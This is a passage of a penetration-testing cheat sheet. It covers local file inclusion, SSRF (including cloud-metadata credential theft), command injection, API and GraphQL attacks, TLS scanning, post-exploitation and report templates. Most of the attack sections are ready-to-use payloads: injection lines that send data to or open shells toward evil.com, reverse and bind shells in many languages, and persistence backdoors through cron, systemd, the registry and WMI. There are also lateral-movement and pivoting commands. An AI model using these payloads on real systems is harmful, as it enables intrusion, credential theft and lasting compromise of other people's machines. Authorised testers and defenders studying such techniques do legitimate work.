variable\nhttps://target.com/page?file=\n# Then include session file\nhttps://target.com/page?file=/var/lib/php/sessions/sess_\n\n# Temp file upload (race condition)\n# Upload file, then include before cleanup\nhttps://target.com/page?file=/tmp/php\n```\n\n### LFI Discovery Wordlist\n```bash\n# Common LFI files\n/etc/passwd\n/etc/shadow\n/etc/hosts\n/etc/apache2/apache2.conf\n/etc/nginx/nginx.conf\n/var/log/apache2/access.log\n/var/log/nginx/access.log\n/var/log/auth.log\n/var/log/mail.log\n/proc/self/environ\n/proc/self/cmdline\n/proc/self/fd/0\n/proc/self/fd/1\n/proc/self/fd/2\nC:\\boot.ini\nC:\\windows\\win.ini\nC:\\windows\\system32\\drivers\\etc\\hosts\n```\n\n---\n\n## Server-Side Request Forgery (SSRF)\n\n### Basic SSRF\n\n```http\n# Localhost access\nhttps://target.com/fetch?url=http://127.0.0.1/\nhttps://target.com/fetch?url=http://localhost/\nhttps://target.com/fetch?url=http://[::1]/\nhttps://target.com/fetch?url=http://0.0.0.0/\n\n# Decimal IP\nhttps://target.com/fetch?url=http://2130706433/ (127.0.0.1)\nhttps://target.com/fetch?url=http://3232235521/ (192.168.0.1)\n\n# Octal IP\nhttps://target.com/fetch?url=http://0177.0.0.1/\nhttps://target.com/fetch?url=http://0x7f.0x0.0x0.0x1/\n\n# Domain tricks\nhttps://target.com/fetch?url=http://localhost.127.0.0.1.nip.io/\nhttps://target.com/fetch?url=http://127.0.0.1.xip.io/\n```\n\n### Cloud Metadata SSRF\n\n```bash\n# AWS metadata\nhttps://target.com/fetch?url=http://169.254.169.254/latest/meta-data/\nhttps://target.com/fetch?url=http://169.254.169.254/latest/user-data/\nhttps://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/\n\n# GCP metadata\nhttps://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/\nhttps://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token\n-H \"Metadata-Flavor: Google\"\n\n# Azure metadata\nhttps://target.com/fetch?url=http://169.254.169.254/metadata/instance?api-version=2017-08-01\n-H \"Metadata: true\"\n\n# Digital Ocean metadata\nhttps://target.com/fetch?url=http://169.254.169.254/metadata/v1.json\n```\n\n### Internal Network Scanning\n\n```bash\n# Port scan with SSRF\nfor port in {1..1024}; do\n    curl -s \"https://target.com/fetch?url=http://192.168.1.1:$port\" \\\n        | grep -q \"Connection refused\" || echo \"Port $port open\"\ndone\n\n# Discover internal IP ranges\nfor ip in {1..254}; do\n    curl -s \"https://target.com/fetch?url=http://10.0.0.$ip:80\" \\\n        -m 1 | grep -q \"Connection refused\" || echo \"10.0.0.$ip alive\"\ndone\n```\n\n### SSRF Bypass Techniques\n\n```bash\n# URL encoding\nhttps://target.com/fetch?url=http://%31%32%37%2E%30%2E%30%2E%31/\n\n# Double URL encoding\nhttps://target.com/fetch?url=http://%2531%2532%2537%252E%2530%252E%2530%252E%2531/\n\n# Redirect bypass\n# First, set up redirector\nhttps://evil.com/redirect?url=http://127.0.0.1:80\n# Then SSRF to redirector\nhttps://target.com/fetch?url=http://evil.com/redirect\n\n# DNS rebinding\n# Use dnsrebinder.net\nhttps://target.com/fetch?url=http://127.0.0.1.dnsrebinder.net\n\n# IPv6 bypass\nhttps://target.com/fetch?url=http://[::1]:80/\nhttps://target.com/fetch?url=http://[::ffff:7f00:0001]/\n\n# Alternative localhost representations\n127.0.0.0\n127.127.127.127\n127.0.1.3\n2130706433\n0x7f000001\n0177.0.0.1\n```\n\n### SSRF to RCE\n\n```bash\n# Internal Redis\nhttps://target.com/fetch?url=gopher://127.0.0.1:6379/_*2%0d%0a$4%0d%0aINFO%0d%0a\n\n# Internal Memcached\nhttps://target.com/fetch?url=gopher://127.0.0.1:11211/_stats\n\n# Internal MySQL\nhttps://target.com/fetch?url=mysql://127.0.0.1:3306/\n\n# Internal Elasticsearch\nhttps://target.com/fetch?url=http://127.0.0.1:9200/_cat/indices\n\n# Internal MongoDB\nhttps://target.com/fetch?url=mongodb://127.0.0.1:27017/\n```\n\n### SSRF with Different Protocols\n\n```bash\n# File protocol\nhttps://target.com/fetch?url=file:///etc/passwd\n\n# Dict protocol\nhttps://target.com/fetch?url=dict://127.0.0.1:3306/info\n\n# Gopher protocol\nhttps://target.com/fetch?url=gopher://127.0.0.1:8080/_GET%20/HTTP/1.0%0a%0a\n\n# FTP protocol\nhttps://target.com/fetch?url=ftp://anonymous:anonymous@127.0.0.1:21/\n\n# SFTP protocol\nhttps://target.com/fetch?url=sftp://user:pass@127.0.0.1:22/\n\n# TFTP protocol\nhttps://target.com/fetch?url=tftp://127.0.0.1:69/test\n```\n\n---\n\n## Command Injection\n\n### Basic Command Injection\n\n```bash\n# Command separators\n; id\n| id\n|| id\n& id\n&& id\n`id`\n$(id)\n\n# URL encoded\n%3Bid\n%7Cid\n%26%26id\n\n# Newline encoded\n%0aid\n```\n\n### Blind Command Injection\n\n```bash\n# Time-based\n; sleep 5\n| sleep 5\n& ping -c 10 127.0.0.1\n&& sleep 5\n\n# Output-based (if output is not returned)\n; wget http://evil.com/`whoami`\n| curl http://evil.com/$(id)\n& nslookup `hostname`.evil.com\n```\n\n### Command Injection Payloads\n\n```bash\n# Linux\n; id\n| id\n|| id\n& id\n&& id\n`id`\n$(id)\n; cat /etc/passwd\n| nc -e /bin/sh evil.com 4444\n& bash -i >& /dev/tcp/evil.com/4444 0>&1\n`wget http://evil.com/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh`\n\n# Windows\n& whoami\n| dir\n& ping -n 5 127.0.0.1\n& powershell -c \"Invoke-WebRequest -Uri http://evil.com/shell.exe -OutFile C:\\shell.exe\"\n```\n\n### Command Injection Bypass\n\n```bash\n# Space bypass\n${IFS}id\n{cat,/etc/passwd}\ncat${IFS}/etc/passwd\ncat< /etc/passwd\ncat>/etc/passwd\n\n# Character blacklist bypass\nc\\a\\t /etc/passwd\ncat /etc/pa??wd\ncat /etc/pass*\ncat /e'tc'/pa'ss'wd\necho \"Y2F0IC9ldGMvcGFzc3dk\" | base64 -d | bash\n\n# Command substitution\na=id; $a\nb=cat; $b /etc/passwd\nc=\"whoami\"; eval $c\n\n# Wildcards\n/???/?at /???/pass?? (cat /etc/passwd)\n/???/n? -e /???/pass?? (nc -e /bin/sh)\n```\n\n### Environment Variable Injection\n\n```bash\n# PATH manipulation\nPATH=/tmp:$PATH evil_binary\n\n# LD_PRELOAD injection\nLD_PRELOAD=/tmp/malicious.so vulnerable_binary\n\n# IFS injection\nIFS=,;`cat<<\" https://api.target.com/users\n\n# API key\ncurl -H \"X-API-Key: 123456\" https://api.target.com/users\ncurl \"https://api.target.com/users?api_key=123456\"\n\n# Basic auth\ncurl -u username:password https://api.target.com/users\n\n# OAuth2\ncurl -H \"Authorization: Bearer \" https://api.target.com/users\n```\n\n#### Parameter Fuzzing\n```bash\n# IDOR testing\ncurl https://api.target.com/users/1\ncurl https://api.target.com/users/2\ncurl https://api.target.com/users/1000\n\n# Parameter pollution\ncurl \"https://api.target.com/search?q=test&q=admin\"\n\n# JSON injection\ncurl -X POST https://api.target.com/users \\\n     -H \"Content-Type: application/json\" \\\n     -d '{\"name\":\"test\",\"role\":\"admin\"}'\n\n# Mass assignment\ncurl -X PUT https://api.target.com/users/1 \\\n     -H \"Content-Type: application/json\" \\\n     -d '{\"name\":\"test\",\"isAdmin\":true,\"balance\":999999}'\n```\n\n### GraphQL Testing\n\n#### Introspection\n```graphql\n# Get all types\n{\n  __schema {\n    types {\n      name\n      fields {\n        name\n        type {\n          name\n          kind\n        }\n      }\n    }\n  }\n}\n\n# Get queries\n{\n  __schema {\n    queryType {\n      fields {\n        name\n        args {\n          name\n          type {\n            name\n            kind\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n#### Query Examples\n```graphql\n# Basic query\n{\n  user(id: 1) {\n    name\n    email\n    posts {\n      title\n    }\n  }\n}\n\n# Mutation\nmutation {\n  createUser(input: {name: \"test\", email: \"test@test.com\"}) {\n    id\n    name\n  }\n}\n\n# Fragments\nfragment UserFields on User {\n  id\n  name\n  email\n}\n\nquery {\n  user(id: 1) {\n    ...UserFields\n  }\n}\n\n# Aliases\n{\n  user1: user(id: 1) {\n    name\n  }\n  user2: user(id: 2) {\n    name\n  }\n}\n```\n\n#### GraphQL Attacks\n```graphql\n# Deep nested query (DoS)\nquery {\n  user(id: 1) {\n    posts {\n      comments {\n        user {\n          posts {\n            comments {\n              user {\n                posts {\n                  title\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n\n# Alias-based attack\nquery {\n  a: user(id: 1) { name }\n  b: user(id: 1) { name }\n  c: user(id: 1) { name }\n  # ... repeated many times\n}\n\n# Introspection abuse\nquery {\n  __schema {\n    types {\n      name\n      fields {\n        name\n        type {\n          name\n          fields {\n            name\n            type {\n              name\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n### API Security Tools\n\n#### Postman/Newman\n```bash\n# Run collections\nnewman run collection.json -e environment.json\n\n# With data\nnewman run collection.json -d data.csv\n\n# HTML report\nnewman run collection.json -r htmlextra\n```\n\n#### OWASP ZAP API Scan\n```bash\n# API scan\nzap-api-scan.py -t https://target.com/swagger.json -f openapi\n\n# Active scan\nzap-api-scan.py -t https://target.com/swagger.json -f openapi -a\n```\n\n#### Kiterunner\n```bash\n# API endpoint discovery\nkr scan https://target.com -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt\n\n# Bruteforce with wordlist\nkr brute https://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt\n```\n\n---\n\n## SSL/TLS Security\n\n### SSL/TLS Scanning\n\n#### testssl.sh\n```bash\n# Basic scan\n./testssl.sh https://target.com\n\n# JSON output\n./testssl.sh --jsonfile results.json https://target.com\n\n# HTML report\n./testssl.sh --htmlfile report.html https://target.com\n\n# Check specific vulnerabilities\n./testssl.sh --heartbleed https://target.com\n./testssl.sh --poodle https://target.com\n./testssl.sh --freak https://target.com\n./testssl.sh --logjam https://target.com\n./testssl.sh --crime https://target.com\n./testssl.sh --breach https://target.com\n```\n\n#### sslyze\n```bash\n# Basic scan\nsslyze target.com\n\n# Check certificates\nsslyze --certinfo target.com\n\n# Check protocols\nsslyze --tlsv1 --tlsv1_1 --tlsv1_2 --tlsv1_3 target.com\n\n# Check vulnerabilities\nsslyze --heartbleed --robot --fallback target.com\n\n# JSON output\nsslyze --json_out=results.json target.com\n```\n\n#### sslscan\n```bash\n# Basic scan\nsslscan target.com:443\n\n# Show certificate\nsslscan --show-certificate target.com\n\n# Check ciphers\nsslscan --no-ciphersuites target.com\n```\n\n### Manual SSL/TLS Checks\n\n```bash\n# OpenSSL connection\nopenssl s_client -connect target.com:443\nopenssl s_client -connect target.com:443 -tls1_2\nopenssl s_client -connect target.com:443 -cipher 'ECDHE-RSA-AES128-GCM-SHA256'\n\n# Certificate details\necho | openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -text\n\n# Check expiration\necho | openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -noout -dates\n\n# Check SAN\necho | openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -noout -ext subjectAltName\n\n# Supported protocols\nnmap --script ssl-enum-ciphers -p 443 target.com\n```\n\n### Security Headers Check\n\n```bash\n# HSTS check\ncurl -sI https://target.com | grep -i \"strict-transport-security\"\n\n# CSP check\ncurl -sI https://target.com | grep -i \"content-security-policy\"\n\n# HPKP (deprecated)\ncurl -sI https://target.com | grep -i \"public-key-pins\"\n\n# Expect-CT\ncurl -sI https://target.com | grep -i \"expect-ct\"\n\n# Certificate Transparency\ncurl -s https://crt.sh/?q=target.com\n```\n\n### SSL/TLS Vulnerabilities\n\n```bash\n# Heartbleed (CVE-2014-0160)\nnmap -p 443 --script ssl-heartbleed target.com\n\n# POODLE (CVE-2014-3566)\nnmap -p 443 --script ssl-poodle target.com\n\n# FREAK (CVE-2015-0204)\nnmap -p 443 --script ssl-freak target.com\n\n# DROWN (CVE-2016-0800)\nnmap -p 443 --script ssl-drown target.com\n\n# ROBOT (CVE-2017-17382)\nnmap -p 443 --script ssl-robot target.com\n\n# BEAST (CVE-2011-3389)\n# Check if TLS 1.0 is enabled\n\n# CRIME (CVE-2012-4929)\n# Check compression\n\n# BREACH (CVE-2013-3587)\n# Check HTTP compression\n```\n\n---\n\n## Post-Exploitation\n\n### Reverse Shells\n\n#### Linux Reverse Shells\n```bash\n# Bash\nbash -i >& /dev/tcp/10.10.14.1/4444 0>&1\n\n# Python\npython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.1\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'\n\n# PHP\nphp -r '$s=fsockopen(\"10.10.14.1\",4444);exec(\"/bin/sh -i <&3 >&3 2>&3\");'\n\n# Perl\nperl -e 'use Socket;$i=\"10.10.14.1\";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'\n\n# Ruby\nruby -rsocket -e'f=TCPSocket.open(\"10.10.14.1\",4444).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'\n\n# Netcat\nnc -e /bin/sh 10.10.14.1 4444\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.1 4444 >/tmp/f\n\n# Telnet\nrm -f /tmp/p; mknod /tmp/p p && telnet 10.10.14.1 4444 0/tmp/p\n\n# XTerm\nxterm -display 10.10.14.1:1\n```\n\n#### Windows Reverse Shells\n```powershell\n# PowerShell\npowershell -NoP -NonI -W Hidden -Exec Bypass -Command \"IEX (New-Object System.Net.WebClient).DownloadString('http://10.10.14.1/ps.ps1')\"\n\n# PowerShell one-liner\npowershell -c \"$client = New-Object System.Net.Sockets.TCPClient('10.10.14.1',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"\n\n# Netcat\nnc.exe 10.10.14.1 4444 -e cmd.exe\n\n# msfvenom\nmsfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f exe -o shell.exe\n\n# VB Script\n# Create reverse shell VBS script\n```\n\n### Bind Shells\n\n```bash\n# Linux\nnc -lvnp 4444 -e /bin/sh\npython -c 'exec(\"import socket, subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1);s.bind((\\\"0.0.0.0\\\",4444));s.listen(1);c,a=s.accept();\\nwhile True: d=c.recv(1024); if len(d)==0: break; p=subprocess.Popen(d,shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE); o=p.stdout.read()+p.stderr.read(); c.send(o)\")'\n\n# Windows\nnc.exe -lvnp 4444 -e cmd.exe\n```\n\n### TTY Upgrade\n\n```bash\n# Python\npython -c 'import pty; pty.spawn(\"/bin/bash\")'\npython3 -c 'import pty; pty.spawn(\"/bin/bash\")'\n\n# Script\nscript /dev/null -qc /bin/bash\n\n# Socat\nsocat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.1:4444\n\n# After getting shell, background (Ctrl+Z) and:\nstty raw -echo; fg\nexport TERM=xterm\nstty rows 40 cols 150\n```\n\n### Privilege Escalation\n\n#### Linux Enumeration\n```bash\n# System info\nuname -a\ncat /etc/os-release\ncat /etc/issue\nhostname\n\n# User info\nid\nwhoami\nsudo -l\ncat /etc/passwd\ncat /etc/shadow\nhistory\n\n# Process info\nps aux\nps -ef\ntop -n 1\n\n# Network info\nifconfig\nip a\nnetstat -an\nnetstat -tulpn\nss -tulpn\ncat /etc/hosts\n\n# File system\nfind / -perm -4000 2>/dev/null   # SUID\nfind / -perm -2000 2>/dev/null   # SGID\nfind / -writable -type f 2>/dev/null | grep -v proc\nfind / -name \"*.key\" -o -name \"*.pem\" -o -name \"*.crt\" 2>/dev/null\n\n# Cron jobs\ncat /etc/crontab\nls -la /etc/cron*\ngrep \"CRON\" /var/log/syslog\n\n# Installed software\ndpkg -l\nrpm -qa\npip list\ngem list\nnpm list -g\n\n# Environment variables\nenv\ncat ~/.bashrc\ncat ~/.bash_profile\n\n# Log files\ncat /var/log/auth.log\ncat /var/log/apache2/access.log\ncat /var/log/mysql/error.log\n\n# Config files\nfind / -name \"*.conf\" -o -name \"*.config\" 2>/dev/null\n```\n\n#### Linux Privilege Escalation Tools\n```bash\n# LinPEAS\ncurl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh\n\n# LinEnum\nwget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh\nchmod +x LinEnum.sh\n./LinEnum.sh\n\n# Linux Exploit Suggester\nwget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh\nchmod +x linux-exploit-suggester.sh\n./linux-exploit-suggester.sh\n\n# pspy (process monitor)\nwget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64\nchmod +x pspy64\n./pspy64\n```\n\n#### Windows Enumeration\n```powershell\n# System info\nsysteminfo\nwmic os get caption,version,buildnumber\nwmic computersystem get domain,manufacturer,model,name\n\n# User info\nwhoami\nwhoami /priv\nwhoami /groups\nnet users\nnet localgroup administrators\n\n# Process info\ntasklist /v\nwmic process list full\n\n# Network info\nipconfig /all\nnetstat -an\nroute print\narp -a\n\n# File system\ndir C:\\\ndir \"C:\\Program Files\"\ndir \"C:\\Program Files (x86)\"\ndir C:\\Users\ndir /s *.config\ndir /s *.kdbx\ndir /s *.key\n\n# Services\nwmic service list brief\nsc query\nnet start\n\n# Installed software\nwmic product get name,version,vendor\ndir \"C:\\Program Files\"\nGet-ChildItem -Path \"C:\\Program Files\" -Recurse\n\n# Scheduled tasks\nschtasks /query /fo LIST /v\nGet-ScheduledTask\n\n# Registry\nreg query HKLM /f \"password\" /t REG_SZ /s\nreg query HKCU /f \"password\" /t REG_SZ /s\nreg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\"\n```\n\n#### Windows Privilege Escalation Tools\n```powershell\n# WinPEAS\nwget https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany.exe\n.\\winPEASany.exe\n\n# PowerUp\nIEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1')\nInvoke-AllChecks\n\n# Sherlock\nIEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1')\nFind-AllVulns\n\n# Windows Exploit Suggester\nwget https://raw.githubusercontent.com/AonCyberLabs/Windows-Exploit-Suggester/master/windows-exploit-suggester.py\npython windows-exploit-suggester.py --database 2024-01-01-mssb.xls --systeminfo sysinfo.txt\n```\n\n### Persistence\n\n#### Linux Persistence\n```bash\n# SSH key\nmkdir -p ~/.ssh\necho \"ssh-rsa AAAAB3...\" >> ~/.ssh/authorized_keys\n\n# Cron job\necho \"* * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'\" > /tmp/cron\ncrontab /tmp/cron\n\n# Systemd service\ncat > /etc/systemd/system/persistence.service << EOF\n[Unit]\nDescription=Persistence\n\n[Service]\nType=simple\nExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'\nRestart=always\n\n[Install]\nWantedBy=multi-user.target\nEOF\n\nsystemctl enable persistence.service\nsystemctl start persistence.service\n\n# .bashrc\necho 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1 &' >> ~/.bashrc\n\n# Web shell\necho '' > /var/www/html/shell.php\n```\n\n#### Windows Persistence\n```powershell\n# Registry\nNew-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" -Name \"Backdoor\" -Value \"C:\\shell.exe\"\n\n# Scheduled task\nschtasks /create /tn \"Backdoor\" /tr \"C:\\shell.exe\" /sc onlogon /ru SYSTEM\n\n# Startup folder\ncopy shell.exe \"C:\\Users\\%username%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\\"\n\n# WMI persistence\n$filter = ([wmiclass]\"\\\\.\\root\\subscription:__EventFilter\").CreateInstance()\n$filter.QueryLanguage = \"WQL\"\n$filter.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\"\n$filter.Name = \"Backdoor\"\n$filter.EventNamespace = 'root\\cimv2'\n$result = $filter.Put()\n\n$consumer = ([wmiclass]\"\\\\.\\root\\subscription:CommandLineEventConsumer\").CreateInstance()\n$consumer.Name = 'BackdoorConsumer'\n$consumer.CommandLineTemplate = \"C:\\shell.exe\"\n$result = $consumer.Put()\n\n# Service\nsc.exe create Backdoor binPath= \"C:\\shell.exe\" start= auto\nsc.exe start Backdoor\n```\n\n### Lateral Movement\n\n#### SSH\n```bash\n# SSH key stealing\nfind / -name \"id_rsa\" 2>/dev/null\ncat ~/.ssh/id_rsa\n\n# SSH agent forwarding\nssh -A user@target.com\n\n# SSH tunneling\nssh -L 8080:localhost:80 user@target.com    # Local forward\nssh -R 8080:localhost:80 user@target.com    # Remote forward\nssh -D 1080 user@target.com                  # Dynamic proxy\n```\n\n#### Windows Lateral Movement\n```powershell\n# PSExec\n.\\PsExec.exe \\\\target -u user -p pass cmd.exe\n\n# WinRM\nEnter-PSSession -ComputerName target -Credential $cred\nInvoke-Command -ComputerName target -ScriptBlock {whoami} -Credential $cred\n\n# WMI\nwmic /node:target /user:user /password:pass process call create \"cmd.exe\"\n\n# SMB\nnet use \\\\target\\c$ /user:user pass\ncopy shell.exe \\\\target\\c$\\Windows\\Temp\\\n```\n\n### Pivoting\n\n#### SSH Pivoting\n```bash\n# Local port forwarding\nssh -L 8080:internal-server:80 user@pivot-host\n\n# Remote port forwarding\nssh -R 8080:localhost:80 user@pivot-host\n\n# Dynamic SOCKS proxy\nssh -D 1080 user@pivot-host\n\n# SSH tunneling with ProxyCommand\nssh -o ProxyCommand=\"ssh -W %h:%p user@pivot-host\" target\n```\n\n#### SOCKS Proxies\n```bash\n# Using proxychains\necho \"socks4 127.0.0.1 1080\" >> /etc/proxychains.conf\nproxychains nmap -sT -Pn target\n\n# Using chisel\n# Server (attacker)\n./chisel server -p 8000 --reverse\n# Client (pivot)\n./chisel client attacker:8000 R:socks\n\n# Using EarthWorm\n./ew -s ssocksd -l 1080\n```\n\n#### Port Forwarding\n```bash\n# Linux\n# SSH forwarding\nssh -L 8080:localhost:80 user@pivot\n\n# Netcat forwarding\nmkfifo /tmp/fifo\nnc -l -p 8080 < /tmp/fifo | nc target 80 > /tmp/fifo\n\n# Socat forwarding\nsocat TCP-LISTEN:8080,fork TCP:target:80\n\n# Windows\n# netsh port forwarding\nnetsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=target\n```\n\n---\n\n## Reporting\n\n### Report Structure\n\n#### Executive Summary\n```\nEXECUTIVE SUMMARY\n=================\n- Overview of engagement\n- Key findings (high-level)\n- Risk ratings\n- Business impact\n- Strategic recommendations\n- Scope and methodology summary\n```\n\n#### Technical Details\n```\nTECHNICAL FINDINGS\n==================\nFinding #1: [Title]\n- Severity: Critical/High/Medium/Low/Info\n- CVSS Score: X.X (Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)\n- CWE: CWE-89\n- CVE: CVE-2024-XXXX (if applicable)\n- Affected Component: /path/to/vulnerable/endpoint\n- Description: Detailed description of the vulnerability\n- Impact: What an attacker can achieve\n- Evidence: Proof of concept, screenshots, request/response\n- Remediation: How to fix the issue\n- References: Links to documentation, CVEs, etc.\n```\n\n#### Remediation Recommendations\n```\nREMEDIATION GUIDELINES\n======================\nShort-term fixes:\n1. [Immediate actions]\n\nLong-term solutions:\n1. [Architectural changes]\n\nSecurity controls to implement:\n1. [Preventive controls]\n2. [Detective controls]\n3. [Corrective controls]\n```\n\n### Reporting Tools\n\n#### Dradis Framework\n```bash\n# Install\ngem install dradis\n\n# Start\ndradis start\n\n# Web interface at https://localhost:3000\n```\n\n#### Serpico\n```bash\n# Install\ngit clone https://github.com/SerpicoProject/Serpico.git\ncd Serpico\nbundle install\nruby serpico.rb\n```\n\n#### Pwndoc\n```bash\n# Docker\ndocker run -p 4242:4242 pwndoc/pwndoc\n```\n\n### Report Templates\n\n#### Markdown Template\n```markdown\n# Penetration Test Report\n\n## 1. Executive Summary\n[1-2 paragraphs describing the engagement and key findings]\n\n**Total Findings:** X\n- Critical: X\n- High: X\n- Medium: X\n- Low: X\n- Informational: X\n\n## 2. Scope\n- In-scope: [domains, IP ranges, applications]\n- Out-of-scope: [excluded items]\n- Testing dates: [start date] to [end date]\n\n## 3. Methodology\n- Phase 1: Reconnaissance\n- Phase 2: Scanning & Enumeration\n- Phase 3: Vulnerability Assessment\n- Phase 4: Exploitation\n- Phase 5: Post-Exploitation\n- Phase 6: Reporting\n\n## 4. Findings\n\n### 4.1 [Finding Title]\n**Severity:** Critical/High/Medium/Low/Info\n**CVSS:** X.X (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)\n**CWE:** CWE-89\n**Affected Component:** [URL/path]\n\n**Description:**\n[Detailed description]\n\n**Impact:**\n[What an attacker can achieve]\n\n**Evidence:**\n```\nRequest:\nGET /vulnerable.php?id=1' UNION SELECT 1,2,3--\n\nResponse:\n{\"id\":1,\"name\":\"admin\",\"email\":\"admin@localhost\"}\n```\n\n**Screenshot:**\n![Evidence](screenshots/finding1.png)\n\n**Remediation:**\n[Step-by-step fix]\n\n**References:**\n- [OWASP SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n- [CWE-89](https://cwe.mitre.org/data/definitions/89.html)\n\n## 5. Remediation Summary\n\n| Priority | Finding | Difficulty | Estimated Time |\n|----------|---------|------------|----------------|\n| Critical | SQL Injection | Medium | 2 hours |\n| High | XSS | Easy | 1 hour |\n| Medium | Missing HSTS | Easy | 30 minutes |\n\n## 6. Appendix\n- A. Tools Used\n- B. Wordlists\n- C. Raw Scan Results\n```\n\n#### Python Report Generator\n```python\n#!/usr/bin/env python3\n# report_generator.py\n\nimport json\nimport datetime\nfrom jinja2 import Template\n\nclass PentestReport:\n    def __init__(self, target, tester, date=None):\n        self.target = target\n        self.tester = tester\n        self.date = date or datetime.datetime.now().strftime(\"%Y-%m-%d\")\n        self.findings = []\n        self.scope = {}\n        self.summary = {}\n    \n    def add_finding(self, finding):\n        self.findings.append(finding)\n    \n    def generate_summary(self):\n        severity_counts = {\"critical\": 0, \"high\": 0, \"medium\": 0, \"low\": 0, \"info\": 0}\n        for f in self.findings:\n            severity_counts[f.get(\"severity\", \"info\").lower()] += 1\n        self.summary = severity_counts\n        return severity_counts\n    \n    def to_markdown(self):\n        template = Template(\"\"\"\n# Penetration Test Report: {{ target }}\n\n## Executive Summary\n**Date:** {{ date }}\n**Tester:** {{ tester }}\n\n### Summary of Findings\n- Critical: {{ summary.critical }}\n- High: {{ summary.high }}\n- Medium: {{ summary.medium }}\n- Low: {{ summary.low }}\n- Info: {{ summary.info }}\n\n## Findings\n{% for finding in findings %}\n### {{ loop.index }}. {{ finding.title }}\n**Severity:** {{ finding.severity }}\n**CVSS:** {{ finding.cvss }}\n**Affected:** {{ finding.affected }}\n\n**Description:**\n{{ finding.description }}\n\n**Impact:**\n{{ finding.impact }}\n\n**Evidence:**\n```\n{{ finding.evidence }}\n```\n\n**Remediation:**\n{{ finding.remediation }}\n\n**References:**\n{% for ref in finding.references %}\n- {{ ref }}\n{% endfor %}\n\n---\n{% endfor %}\n        \"\"\")\n        \n        self.generate_summary()\n        return template.render(\n            target=self.target,\n            tester=self.tester,\n            date=self.date,\n            summary=self.summary,\n            findings=self.findings\n        )\n    \n    def to_json(self):\n        self.generate_summary()\n        return json.dumps({\n            \"metadata\": {\n                \"target\": self.target,\n                \"tester\": self.tester,\n                \"date\": self.date\n            },\n            \"summary\": self.summary,\n            \"findings\": self.findings\n        }, indent=2)\n\n# Example usage\nif __name__ == \"__main__\":\n    report = PentestReport(\"target.com\", \"awjunaid\")\n    \n    report.add_finding({\n        \"title\": \"SQL Injection in Login\",\n        \"severity\": \"critical\",\n        \"cvss\": \"9.8\",\n        \"affected\": \"/login\",\n        \"description\": \"The username parameter is vulnerable to SQL injection...\",\n        \"impact\": \"Attacker can bypass authentication and access all user data\",\n        \"evidence\": \"username=admin' OR '1'='1'--\",\n        \"remediation\": \"Use parameterized queries\",\n        \"references\": [\"https://owasp.org/SQLi\"]\n    })\n    \n    with open(\"report.md\", \"w\") as f:\n        f.write(report.to_markdown())\n    \n    with open(\"report.json\", \"w\") as f:\n        f.write(report.to_json())\n```\n\n---\n\n## Tools Reference\n\n### Comprehensive Tool List\n\n#### Reconnaissance\n| Tool | Purpose | Command Example |\n|------|---------|-----------------|\n| **Amass** | Subdomain enumeration | `amass enum -d target.com` |\n| **Sublist3r** | Subdomain discovery | `sublist3r -d target.com` |\n| **theHarvester** | 